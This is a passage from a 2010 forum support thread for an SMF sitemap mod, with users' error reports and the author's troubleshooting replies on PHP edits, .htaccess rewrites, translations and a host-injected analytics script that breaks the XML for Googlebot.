Well a sitemap will never promise or guarantee that you will be indexed (and any program or software telling you otherwise is lying), they can only make the search engine aware of what pages there are to index... it's up to the search engine if it feels like indexing them, and that will be based on quality and content of the page itself.  I can't really answer why google has only indexed one page out of 92... that's something out of my control.
Title: Re: Sitemap
Post by: coolfx350 on May 06, 2010, 10:09:07 PM
Quote from: mu271828 on May 04, 2010, 03:30:12 AM
I was about to ask why the XML sitemap does not contain pretty URLs, though the mod of the same name is installed..

But then I discovered that line 189 of Sitemap.php checks for $modSettings['pretty_enable_filters'] == 'on', where it is really set to '1' when they're enabled.  Works great now.  Just in case anyone has the same problem.

Thanks for the mod!

On one of my forums, if I set

$modSettings['pretty_enable_filters'] == 'on'

to

$modSettings['pretty_enable_filters'] == '1'

I get this message

XML Parsing Error: no element found
Location: http://www.myforums.com/index.php?action=sitemap;xml
Line Number 1, Column 1:
^

but with "on" it works just fine, just not pretty url, please advise.
Title: Re: Sitemap
Post by: SlammedDime on May 06, 2010, 10:59:58 PM
You could try changing it to if (!empty($modSettings['pretty_enable_filters']))
Title: Re: Sitemap
Post by: coolfx350 on May 07, 2010, 08:49:32 AM
Same error after set it to
   
   // Pretty URLs need to be rewritten
if (!empty($modSettings['pretty_enable_filters'])) {
      ob_start('ob_sessrewrite');
      $context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
      $context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';
   }
}

Title: Re: Sitemap
Post by: Vincent Volmer on May 08, 2010, 04:56:33 AM
Hello SlammedDime,

I can enter this page again.... thanks.

Hereby my question:

URL http://digiscrap.nl/index.php?pretty;action=sitemap&amp;xml
8: memcache_set() [<a href='function.memcache-set'>function.memcache-set</a>]: send of 32768 bytes failed with errno=11 Resource temporarily unavailable
File: /shared/usr/wzen1234567/DOMAIN/www.digiscrap.nl/HTML/Sources/Load.php
Line: 2532


Don't know if this has something to do with the sitemap mod or memcache.....

Thanks for your support.

Kind regards,
Digiscrap.nl
Vincent Volmer
Title: Re: Sitemap
Post by: Vincent Volmer on May 08, 2010, 04:58:42 AM
Hello SlammedDime,

The virus warning ( JS:Illredir-AN [Trj] ) as I send you by PM is still present on page 2..... of this topic....
only on page 2 I see now.

Vincent

Title: Re: Sitemap
Post by: SlammedDime on May 08, 2010, 11:37:05 AM
I think Avast is giving you a false reading... I checked page two of this topic and I can't find any malicious scripts/avatars in anyones signatures or avatars.
Title: Re: Sitemap
Post by: Vincent Volmer on May 08, 2010, 12:36:35 PM
Okay, thanks.

Btw, I'm using: G Data Internetsecurity 2010  ;)

VIncent
Title: Re: Sitemap
Post by: JessyKa on May 08, 2010, 04:38:51 PM
I have a problem with the Sitemap Mod, too.  And unfortunately I couldn't find an answer to it in this thread.

Installed SMF Sitemap 1.2.2 fpr SMF 1.1.11

The sitemap is always showing all boards and subboards.

The little icons on the left change when you click them, but although you see a "+" there are still all subboards shown.
Here are the screenshots for the nominal "collapsed" version and what you get, when you click the "+".

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg341.imageshack.us%2Fimg341%2F8409%2Fsitemapclosed.png&hash=c50e9f652125ebc174777a34621f22d5c25df254)


(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg294.imageshack.us%2Fimg294%2F9471%2Fsitemapopen.png&hash=ed1469d8b4c88f62984ac1e64672a444669c6e6b)

Any idea what to check?

Thanks a lot,
Jessy
Title: Re: Sitemap
Post by: SlammedDime on May 08, 2010, 05:22:37 PM
Make sure the edits were made to style.css, or try pressing 'ctrl-f5' on your browser to force a reload of the css files.
Title: Re: Sitemap
Post by: JessyKa on May 08, 2010, 05:45:16 PM
'ctrl-f5' didn't change the effect.

And - I am ashamed to admit: I didn't modify the style.css
Can't find any hint regarding to styles.css, too - wheather in readme.txt or here in this thread.

Is there a description, what edits need to be done?
Sorry for these stupid questions  :-[
Title: Re: Sitemap
Post by: SlammedDime on May 08, 2010, 07:38:33 PM
they are part of the install instructions in the xml file.  if you parse the mod on the mod's page you can see the instructions
Title: Re: Sitemap
Post by: Raffoz on May 16, 2010, 11:34:17 PM
in the logs, i found 2 errors...

in the url http://www.mydomain.com/index.php?action=sitemap;xml
in the file /sources/sitemap.php

type of error:
8: Undefined index: sitemap

in lines 23 and 27
for these codes

1) $context['page_title'] = $txt['sitemap'];

2) 'name' => $txt['sitemap'],


thanks for the help... :)
Title: Re: Sitemap
Post by: SlammedDime on May 17, 2010, 12:02:12 AM
That means that your language files were either not updated, or the cache needs to be cleared so that it will repopulate with the new language strings.
Title: Re: Sitemap
Post by: Raffoz on May 17, 2010, 12:39:25 AM
what is the solution for the laguage files? u mean the langauge files of this mod?

because the language files of SMF are the last version...

thanks
Title: Re: Sitemap
Post by: SlammedDime on May 17, 2010, 02:23:28 AM
It means that either the mod did not change the language files, or you have more than just english installed, so you'll need to manually modify the other languages.  The mod will only change the Modifications.english.php file... any other Modification.language.php files need to manually edited to support the mod.
Title: Re: Sitemap
Post by: Raffoz on May 17, 2010, 02:36:11 AM
ok..

thanks :)
Title: Re: Sitemap
Post by: Mave on May 17, 2010, 08:03:17 AM
Thanks for this mod.

If you want to add German translate

<file name="$languagedir/Help.german.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'Wenn inaktiv, ist der <em>Link</em> zur XML Sitemap nur für Admins sichtbar.  Wenn aktiviert, für jeden sichtbar.';
$helptxt['sitemap_topic_count'] = 'Das ist die maximale Anzahl an Themen die in der Sitemap aufgeführt werden.  Standard sind 20000.  Stelle es auf 0 um alle Themen aufzulisten';

]]></add>
</operation>
</file>
<file name="$languagedir/Modifications.german.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Zeige Sitemap XML <em>Link</em>';
$txt['sitemap_topic_count'] = 'Maximale Anzahl an Themen in der XML Sitemap<br /><span class="smalltext">0 um alle aufzulisten (<strong class="error">Nicht empfehlenswert bei großen Foren</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Zeit wie lange die XML Daten im Cache bleiben sollen. (In Sekunden)';
$txt['sitemap_board_none'] = 'Keine Boards zum Anzeigen';
$txt['sitemap_topic_none'] = 'Keine Themen zum Anzeigen';
$txt['sitemap_30day_priority'] = 'Priorität: Die aktiven Themen der letzten 30 Tage';
$txt['sitemap_60day_priority'] = 'Priorität: Die aktiven Themen der letzten 60 Tage';
$txt['sitemap_90day_priority'] = 'Priorität: Die aktiven Themen der letzten 90 Tage';
$txt['sitemap_91day_priority'] = 'Priorität: Themen die älter sind als 90 Tage';

]]></add>
</operation>
</file>
<file name="$languagedir/Who.german.php" error="skip">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Klappt eine Kategorie ein.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Schaut die <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
<file name="$languagedir/Help.german-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'Wenn inaktiv, ist der <em>link</em> zur XML Sitemap nur für Admins sichtbar.  Wenn aktiviert, für jeden sichtbar.';
$helptxt['sitemap_topic_count'] = 'Das ist die maximale Anzahl an Themen die in der Sitemap aufgeführt werden.  Standard sind 20000.  Stelle es auf 0 um alle Themen aufzulisten';

]]></add>
</operation>
</file>
<file name="$languagedir/Modifications.german-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Zeige Sitemap XML <em>link</em>';
$txt['sitemap_topic_count'] = 'Maximale Anzahl an Themen in der XML Sitemap<br /><span class="smalltext">0 um alle aufzulisten (<strong class="error">Nicht empfehlenswert bei großen Foren</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Zeit wie lange die XML Daten im Cache bleiben sollen. (In Sekunden)';
$txt['sitemap_board_none'] = 'Keine Boards zum Anzeigen';
$txt['sitemap_topic_none'] = 'Keine Themen zum Anzeigen';
$txt['sitemap_30day_priority'] = 'Priorität: Die aktiven Themen der letzten 30 Tage';
$txt['sitemap_60day_priority'] = 'Priorität: Die aktiven Themen der letzten 60 Tage';
$txt['sitemap_90day_priority'] = 'Priorität: Die aktiven Themen der letzten 90 Tage';
$txt['sitemap_91day_priority'] = 'Priorität: Themen die älter sind als 90 Tage';

]]></add>
</operation>
</file>
<file name="$languagedir/Who.german-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Klappt eine Kategorie ein.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Schaut die <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
Title: Re: Sitemap
Post by: Vincent Volmer on May 17, 2010, 03:09:57 PM
Quote from: Vincent Volmer on May 08, 2010, 04:56:33 AM
Hello SlammedDime,

Hereby my question:

URL http://digiscrap.nl/index.php?pretty;action=sitemap&amp;xml
8: memcache_set() [<a href='function.memcache-set'>function.memcache-set</a>]: send of 32768 bytes failed with errno=11 Resource temporarily unavailable
File: /shared/usr/wzen1234567/DOMAIN/www.digiscrap.nl/HTML/Sources/Load.php
Line: 2532


Don't know if this has something to do with the sitemap mod or memcache.....

Thanks for your support.

Kind regards,
Digiscrap.nl
Vincent Volmer


I asked my host and they came with the following:

It is probably a PECL bug: http://pecl.php.net/bugs/bug.php?id=14044 (http://pecl.php.net/bugs/bug.php?id=14044)

This bug is patched, but my host doesn't want to update from version 3.0.1 to 3.0.2 and I don't know why. So I have to deal with it.

Vincent.
Title: Re: Sitemap
Post by: bjraines on May 17, 2010, 04:40:31 PM
OK i have been reading threads now for nearly an hour, i cannot get my 1.1.11 (latest) to work with pretty url and site map

I must be missing a trick or manual edit , can someone please help
Title: Re: Sitemap
Post by: raffomix on May 28, 2010, 06:18:44 PM
hello, my board (1.1.11) an installation, write the message: "Il pacchetto che si sta provando a caricare non è valido o è corrotto" (italian message)
"not valid or corrupt package"

???
Title: Re: Sitemap
Post by: CommanderMadi on June 08, 2010, 08:09:53 AM
Hi Mate, I thank you very much for this mod, it is really helpful. but I have been given about 225 Crawl Errors in the Google Webmasters tools and only 1 URL is indexed out of 500. This of course is not normal and I wonder if there is any solution for that.

Thank you very much
Title: Re: Sitemap
Post by: ukhalik2 on June 08, 2010, 12:21:28 PM
dear SlammedDime,   is there any way to include the avea media gallery wallpaper urls in sitemap mod?
Title: Re: Sitemap
Post by: Arantor on June 08, 2010, 12:30:23 PM
So, you want to share links that the search engines are perfectly capable of finding themselves without a sitemap, in a sitemap so people can grab them?

Out of interest, do those wallpaper URLs (in Aeva) have descriptions? You can't index images themselves...
Title: Re: Sitemap
Post by: ukhalik2 on June 08, 2010, 12:41:57 PM
Quote from: Arantor on June 08, 2010, 12:30:23 PM
So, you want to share links that the search engines are perfectly capable of finding themselves without a sitemap, in a sitemap so people can grab them?

Out of interest, do those wallpaper URLs (in Aeva) have descriptions? You can't index images themselves...
yeah, i know images cant be indexed themselves but the whole url can be indexed.. but the sitemap help people and SE's to find url easily, i think.
Title: Re: Sitemap
Post by: Arantor on June 08, 2010, 12:46:00 PM
Sitemaps don't help people. They don't even really help forums, because search engines have long been capable of indexing forums, and really all a sitemap is actually useful for it indicating what content has been updated more recently/is likely to be updated more recently.
Title: Re: Sitemap
Post by: CommanderMadi on June 08, 2010, 12:54:58 PM
So, I should not care about the sitemap, but, in the same time, its presence won't do anything that hurts, right?
Title: Re: Sitemap
Post by: Arantor on June 08, 2010, 01:03:50 PM
I wouldn't even bother with a sitemap. Sure, it doesn't hurt, but for the extra load on the forum that it generates, I'm not convinced it's worth it on any forum over a small size.
Title: Re: Sitemap
Post by: CommanderMadi on June 08, 2010, 01:12:55 PM
Ok thanks mate, I am removing it :)
Title: Re: Sitemap
Post by: waqarhassan on June 12, 2010, 02:54:59 AM
i submit my sitemap to google webmaster tools like this link yougeo.com/index.php?action=sitemap;xml
google webmaster tools aceept it and show 1 url is index after a month this is not increasing only one index i am confused about this path yougeo.com/index.php?action=sitemap;xml
i want to that my site map is located here yougeo.com/sitemap.xml
plz tell me the directory where my sitemap.xml is saved so i submit it to google webmaster tools manually i checked my all directory folder but i could not found this file sitemap.xml
plz help me thanks in advance
very thanks
Title: Re: Sitemap
Post by: Bugo on June 12, 2010, 10:02:51 AM
Create .htaccess file in your root directory:

RewriteEngine on
RewriteRule ^sitemap.xml$ /index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: Aaron7pm on June 12, 2010, 02:08:29 PM
Im sorry, but this mod is not working for me, my sitemap is blank and it has been blank for a few days check it out here: http://developercentral.co.cc/sitemap.xml
Title: Re: Sitemap
Post by: SlammedDime on June 12, 2010, 04:14:43 PM
Your sitemap itself works fine... http://developercentral.co.cc/index.php?action=sitemap;xml

Something must not be right with your .htaccess redirect


And I should note, doing an .htaccess redirect to rewrite the sitemap to sitemap.xml will do nothing to help google... it's merely aesthetics.
Title: Re: Sitemap
Post by: Aaron7pm on June 12, 2010, 04:46:08 PM
Oh, thanks ;)
Title: Re: Sitemap
Post by: waqarhassan on June 13, 2010, 12:37:50 AM
Quote from: Bugo on June 12, 2010, 10:02:51 AM
Create .htaccess file in your root directory:

RewriteEngine on
RewriteRule ^sitemap.xml$ /index.php?action=sitemap;xml

dear i am new on web designing so plz tell me how can i create this .htaccess plz complete inforamtion thanks very thanks
Title: Re: Sitemap
Post by: SlammedDime on June 13, 2010, 01:24:25 AM
Don't... its pointless
Title: Re: Sitemap
Post by: neteater on June 13, 2010, 01:39:03 AM
hi whenever i try to install it on my forum v1.1.11 it always says package is corrupted can you please guide me how to install this i downloaded the new one but problem remain same
Title: Re: Sitemap
Post by: netjockey on June 17, 2010, 07:30:21 AM
hello, is this smf sitemap is compatible with the seo4smf mod?


i know this is compatible with prettyurls and work fine with it

but the xml sitemap in not working with seo4smf mod

the xml sitemap is picking up default url example - mysite.com/forums/index.php/topic,1.0.html

Title: Re: Sitemap
Post by: wynnyelle on June 20, 2010, 11:50:45 AM
I got serious troubles with sitemap errors. Many many of them. I am using smf 1.1.11 and that version of sitemap.

Errors are like this:

8: Undefined index: nump
File: /home/warrior/public_html/Themes/default/Sitemap.template.php
Line: 75

8: Undefined index: numt
File: /home/warrior/public_html/Themes/default/Sitemap.template.php
Line: 74


8: Undefined index: description
File: /home/warrior/public_html/Themes/default/Sitemap.template.php
Line: 73
Title: Re: Sitemap
Post by: SlammedDime on June 20, 2010, 03:56:34 PM
netjockey - I have no idea, this mod was made after that one, and that one is really not even used by many people anymore

Groovystar - that means that there is some board that is visible to the public, but it's parent board is not.  You can safely ignore/delete those.
Title: Re: Sitemap
Post by: wynnyelle on June 20, 2010, 10:08:03 PM
Actually...that's not a good thing :P If the parent board is invisible the child board should be too! I will run a check on all of them tonight and get back to you if I find nothing. Thank you!
Title: Re: Sitemap
Post by: maihannijat on June 26, 2010, 11:37:59 PM
None of the download files are working for me now.

1. The package is not compatible

2. The package is corrupted


Both of them are not working.

Can anyone attached it here or give me download links?

Thanks
Title: Re: Sitemap
Post by: islam2hamy on July 03, 2010, 04:36:32 AM
Arabic translation is attached .
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on July 08, 2010, 11:04:09 AM
How can i add to this sitemap?
I have TP installed and i want it to also list my articles.
Anyway possible?
Title: Re: Sitemap
Post by: SlammedDime on July 08, 2010, 11:13:48 AM
Not at this time.
Title: Re: Sitemap
Post by: vbgamer45 on July 08, 2010, 08:00:30 PM
Excellent modification works great! Thank you for providing it.
Title: Re: Sitemap
Post by: GohighVoltage on July 12, 2010, 01:43:48 PM


hey bud,  any ideas on a fix on these issues yet:

Only issue I have with the RC3 version is when you click on XML,  it creates scroll bars, then nothing.  Click it again, and there is a very long delay before it displays the sitemap.   other then that,  no errors.
Title: Re: Sitemap
Post by: jaysarnold on July 12, 2010, 08:51:57 PM
ok so i just installed my forum and everythig is great. so i wanted to get it indexed. i added the sitemap mod to my server and everything went well except that even with the default theam i still don't see the sitemap at the bottom. not a big deal for me.
i went to hxxp:www.myinfoforum.com/index.php?action=sitemap;xml [nonactive] and it pulles up fine. i went to google webmaster tools and sumitted the sitemap to them and they come back with a phrasing error on line 102. i then went to a few vadidation sites (google validator being one) and they say that i have a well formed sitemap. can someone look my sitemap and tell me what the problem
Title: Re: Sitemap
Post by: SlammedDime on July 12, 2010, 09:31:26 PM
The problem is because of your host... They add some javascript ad code to the bottom of every page when the useragent is a bot... so when you try to view or validate your sitemap, it works fine, but when googlebot visits, it comes up as non-well formed.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


You'll have to take this up with your host...
Title: Re: Sitemap
Post by: jaysarnold on July 12, 2010, 11:30:25 PM
thanks for your help and thanks to the maker
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on July 13, 2010, 01:38:47 AM
if possible see if you can add that it can index TP articles.
Title: Re: Sitemap
Post by: J. S. on July 13, 2010, 03:45:52 AM
Unfortunately the mod is not working for me. It returns a blank page here: http://www.healthforumnetwork.com/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on July 13, 2010, 03:49:56 AM
http://www.healthforumnetwork.com/index.php?action=sitemap
this one seems to work.
Title: Re: Sitemap
Post by: J. S. on July 13, 2010, 03:51:23 AM
Yes, I know, but not the sitemap for search engines.
Title: Re: Sitemap
Post by: SlammedDime on July 13, 2010, 04:20:54 AM
In the admin panel, decrease the number of topics displayed to 1000 and increase in increments of 1000 until you find the the point when it goes to a blank screen again.  You likely have too many topics and it's choking PHP because of pretty urls needing to consume too much memory.
Title: Re: Sitemap
Post by: J. S. on July 13, 2010, 04:24:10 AM
Doh! I should have tried that! It is obvious (now!). Thanks.
Title: Re: Sitemap
Post by: jaysarnold on July 13, 2010, 10:18:53 AM
Quote from: SlammedDime on July 12, 2010, 09:31:26 PM
The problem is because of your host... They add some javascript ad code to the bottom of every page when the useragent is a bot... so when you try to view or validate your sitemap, it works fine, but when googlebot visits, it comes up as non-well formed.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


You'll have to take this up with your host...




yo i total know that you are right but when i look at my sitemap i don't see that. is that like the matrix or something.

Title: Re: Sitemap
Post by: GohighVoltage on July 13, 2010, 10:29:14 AM
Any idea on a fix for what I said above?

Thanks guys!
Title: Re: Sitemap
Post by: SlammedDime on July 13, 2010, 04:11:46 PM
Quote from: jaysarnold on July 13, 2010, 10:18:53 AM
Quote from: SlammedDime on July 12, 2010, 09:31:26 PM
The problem is because of your host... They add some javascript ad code to the bottom of every page when the useragent is a bot... so when you try to view or validate your sitemap, it works fine, but when googlebot visits, it comes up as non-well formed.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


You'll have to take this up with your host...




yo i total know that you are right but when i look at my sitemap i don't see that. is that like the matrix or something.


That's because when you look at it in your browser, your UserAgent is whatever your browser is, not a bot.  Use Firefox and the User Agent Switcher extension and switch the useragent to Googlebot and you'll see it.

Gohighvoltage - Still working on this one... something is up with the CSS and I'm trying to determine if it's an issue with SMF's GenericList template or not.
Title: Re: Sitemap
Post by: jaysarnold on July 13, 2010, 05:46:34 PM
Quote from: SlammedDime on July 13, 2010, 04:11:46 PM
Quote from: jaysarnold on July 13, 2010, 10:18:53 AM
Quote from: SlammedDime on July 12, 2010, 09:31:26 PM
The problem is because of your host... They add some javascript ad code to the bottom of every page when the useragent is a bot... so when you try to view or validate your sitemap, it works fine, but when googlebot visits, it comes up as non-well formed.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


You'll have to take this up with your host...




yo i total know that you are right but when i look at my sitemap i don't see that. is that like the matrix or something.


That's because when you look at it in your browser, your UserAgent is whatever your browser is, not a bot.  Use Firefox and the User Agent Switcher extension and switch the useragent to Googlebot and you'll see it.

Gohighvoltage - Still working on this one... something is up with the CSS and I'm trying to determine if it's an issue with SMF's GenericList template or not.

i had the code diabled by my webhost was but still get the phrasing error this time on line 140. can you look at it again for me see if it's the same or maybe a new issue




















Title: Re: Sitemap
Post by: SlammedDime on July 13, 2010, 06:09:28 PM
The code is still there...

http://www.smart-it-consulting.com/internet/google/googlebot-spoofer/view.htm?cBotName=Googlebot-2.1&cUrl=http%3A%2F%2Fwww.myinfoforum.com%2Findex.php%3Faction%3Dsitemap%3Bxml

Scroll to the very bottom of the first textarea box and you'll see the code injected by your host
Title: Re: Sitemap
Post by: jaysarnold on July 15, 2010, 11:12:58 PM
Quote from: jaysarnold on July 13, 2010, 05:46:34 PM
Quote from: SlammedDime on July 13, 2010, 04:11:46 PM
Quote from: jaysarnold on July 13, 2010, 10:18:53 AM
Quote from: SlammedDime on July 12, 2010, 09:31:26 PM
The problem is because of your host... They add some javascript ad code to the bottom of every page when the useragent is a bot... so when you try to view or validate your sitemap, it works fine, but when googlebot visits, it comes up as non-well formed.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->


You'll have to take this up with your host...




yo i total know that you are right but when i look at my sitemap i don't see that. is that like the matrix or something.


That's because when you look at it in your browser, your UserAgent is whatever your browser is, not a bot.  Use Firefox and the User Agent Switcher extension and switch the useragent to Googlebot and you'll see it.

Gohighvoltage - Still working on this one... something is up with the CSS and I'm trying to determine if it's an issue with SMF's GenericList template or not.

i had the code diabled by my webhost was but still get the phrasing error this time on line 140. can you look at it again for me see if it's the same or maybe a new issue

i can see the code i wrote my web host and they told me to turn off the compresion on my server. i did then dissabled the code again but still there. anyone have any ideas how to get rid of this problem
Title: Re: Sitemap
Post by: SlammedDime on July 16, 2010, 03:01:24 AM
It has nothing to do with compression, this issue is solely in your hosts hands, there is nothing you can do to solve the problem, regardless of what they tell you.

Personally, I'd find a new host.  You're currently using a crappy one.
Title: Re: Sitemap
Post by: jaysarnold on July 16, 2010, 09:50:04 AM
i use the free service there, can you point me to the best you know of. i know that one day i will need to pay but for now i want a good host that offers a good free service and the paid service is affordable.
Title: Re: Sitemap
Post by: jaysarnold on July 16, 2010, 06:11:06 PM
Quote from: jaysarnold on July 16, 2010, 09:50:04 AM
i use the free service there, can you point me to the best you know of. i know that one day i will need to pay but for now i want a good host that offers a good free service and the paid service is affordable.

never mind, paid for service. once my name servers update i will see if i have probles then
Title: Re: Sitemap
Post by: jaysarnold on July 17, 2010, 11:43:51 PM
fixed thanks, great script
Title: Re: Sitemap
Post by: waruna on July 23, 2010, 02:23:26 AM
This mod doesn't support RC2.0 right? Because I got this error when installing:

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

Thanks.
Title: Re: Sitemap
Post by: wizzard1 on July 25, 2010, 08:28:15 PM
ok so i set up sitemap in the hope that google finaly would start searching in my topics :)
google seem to love the Aeva Media all the items in there are fine on google but not one topic to be found
can anyone check if my sitemap is correct and will allow google to index also the content of topics ?

thanks in advance im not really that good in all that google stuff
Title: Re: Sitemap
Post by: SlammedDime on July 26, 2010, 01:44:29 AM
The sitemap makes no promise that you will be indexed, that is up to you, you have to have worth while content on your site.  This only let's google know what pages are available to index.
Title: Re: Sitemap
Post by: waruna on July 26, 2010, 02:47:41 AM
Dear SlammedDime...

Quote from: waruna on July 23, 2010, 02:23:26 AM
This mod doesn't support RC2.0 right? Because I got this error when installing:

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

Thanks.

Sorry for bothering and thank you ;)...
Title: Re: Sitemap
Post by: SlammedDime on July 26, 2010, 03:51:42 AM
Sorry, no, only supports RC3 (might work on RC2 if you use the version emulate option in the package manager)
Title: Re: Sitemap
Post by: MultiformeIngegno on August 01, 2010, 06:02:01 AM
Would be nice if you add the support of priority based on boards! :)
If I have a "News" board, you'd like to set an higher priority for it than "Off Topic"!
Title: Re: Sitemap
Post by: SlammedDime on August 01, 2010, 12:56:32 PM
Priority is determined on how frequently a board or topic is posted to... if your news board only receives 1 post/topic per year, why would you want it having a higher priority than a board that has the meat of your forum?
Title: Re: Sitemap
Post by: bjraines on August 06, 2010, 10:28:23 AM
I am unable to get this to work with Pretty URLs in 1.11 , I believe the description of the mod indicates it should work.
Title: Re: Sitemap
Post by: MultiformeIngegno on August 06, 2010, 01:42:41 PM
@SlammedDime: you may need to lock topics in the news (or announcements) board but you may also want those topics to have high priority (also if they don't have any reply)! :)
Title: Re: Sitemap
Post by: TheListener on August 06, 2010, 01:44:47 PM
Quote from: bjraines on August 06, 2010, 10:28:23 AM
I am unable to get this to work with Pretty URLs in 1.11 , I believe the description of the mod indicates it should work.

Can you please explain how you are unable to get the mod to work with Pretty URLs?

Errors in log? more3 information will help us to help you.
Title: Re: Sitemap
Post by: SlammedDime on August 06, 2010, 07:31:36 PM
Quote from: MultiformeIngegno on August 06, 2010, 01:42:41 PM
@SlammedDime: you may need to lock topics in the news (or announcements) board but you may also want those topics to have high priority (also if they don't have any reply)! :)
They would eventually start with a high priority, but as time goes on, it's reasonable to assume that they lose their importance as time goes on (I know this isn't always the case, but I'd wager it is in most cases). (case in point: is it really important that SMF 1.1.10 was released now that SMF 1.1.11 is released?  .11 should have the higher priority, which it would for 90 days, slowly trickling down as time goes on).  Each topic would start for the first 30 days having the highest priority, eventually losing priority as time goes on if there are no replies to it.

I see your point, however I don't really agree with it.  Adding an option like this would only complicate things for most users who really don't understand the real purpose of the sitemap, falsely giving them hope that giving topics a higher priority would be beneficial (and thus will mark all boards to have high priority, which takes the mod right back to where it was before I implemented dynamic priority and update values).  I believe using dynamic values based on topic age and post frequency best suites the needs of the mod and most users (and in most cases, is the best option).
Title: Re: Sitemap
Post by: SlammedDime on August 06, 2010, 07:33:02 PM
Quote from: bjraines on August 06, 2010, 10:28:23 AM
I am unable to get this to work with Pretty URLs in 1.11 , I believe the description of the mod indicates it should work.
There are many posts in this topic where people have listed things they have done to get it working.  At this point, I won't be releasing an update for the 1.1.x series of SMF.
Title: Re: Sitemap
Post by: MultiformeIngegno on August 07, 2010, 04:58:44 AM
@SlammedDime: maybe you can add an "Advanced" tab where users (that previously read a huge warning) can specify the id(s) of the board(s) they want topics in it/them to have higher priority, but only for the last (n) topics (it depends on the activity of the board, maybe they have 10 new topics every day or maybe every month..). In this way topics older than the number specified above will mantain the standard priority system.

Other idea: users can specify the id(s) of the board(s) where a priority of (n) is SUMMED to the standard priority for the last (n) topics.

:)
Title: Re: Sitemap
Post by: pjn on August 11, 2010, 01:22:01 AM
where can i find the file sitemap.xml to send it to google?

thanx!
this my web:
http://pjn-il.com/index.php?action=sitemap
Title: Re: Sitemap
Post by: SlammedDime on August 11, 2010, 06:48:39 AM
There is no sitemap.xml file... click the 'XML' link at the very bottom of the sitemap.
Title: Re: Sitemap
Post by: NoFeaR / NFSMW on August 11, 2010, 06:57:49 AM
i see that that link loads blank.
Title: Re: Sitemap
Post by: pjn on August 11, 2010, 12:31:08 PM
so what i give to google????????????????????????????????????
Title: Re: Sitemap
Post by: mirahalo on August 11, 2010, 12:52:44 PM
Quote from: pjn on August 11, 2010, 01:22:01 AM
where can i find the file sitemap.xml to send it to google?

thanx!
this my web:
http://pjn-il.com/index.php?action=sitemap


you can use .htaccess to convert the   http://pjn-il.com/index.php?action=sitemap  into  http://pjn-il.com/sitemap.xml

using something like this:

RewriteEngine on
   RewriteRule ^sitemap.xml$ ./forum/index.php?action=sitemap;xml


or just send the link     http://pjn-il.com/index.php?action=sitemap;xml   


google will not complain about that.
Title: Re: Sitemap
Post by: SlammedDime on August 11, 2010, 02:33:54 PM
In the admin panel, try decreasing the amount of topics that show in the sitemap until you no longer have the 'out of memory' error.
Title: Re: Sitemap
Post by: punjablovers on August 11, 2010, 04:17:25 PM
Mod Downloading Error,
When i click for download the mod, noting happened, Please check that.
Title: Re: Sitemap
Post by: mirahalo on August 11, 2010, 05:40:02 PM
it isn't this site, it's your PC, better check your PC.
Title: Re: Sitemap
Post by: MultiformeIngegno on August 11, 2010, 05:59:25 PM
Quote from: MultiformeIngegno on August 07, 2010, 04:58:44 AM
@SlammedDime: maybe you can add an "Advanced" tab where users (that previously read a huge warning) can specify the id(s) of the board(s) they want topics in it/them to have higher priority, but only for the last (n) topics (it depends on the activity of the board, maybe they have 10 new topics every day or maybe every month..). In this way topics older than the number specified above will mantain the standard priority system.

Other idea: users can specify the id(s) of the board(s) where a priority of (n) is SUMMED to the standard priority for the last (n) topics.

:)

:-X
Title: Re: Sitemap
Post by: pjn on August 12, 2010, 01:18:37 AM
my site map is bkank :(
http://pjn-il.com/index.php?action=sitemap;xml
Title: Re: Sitemap
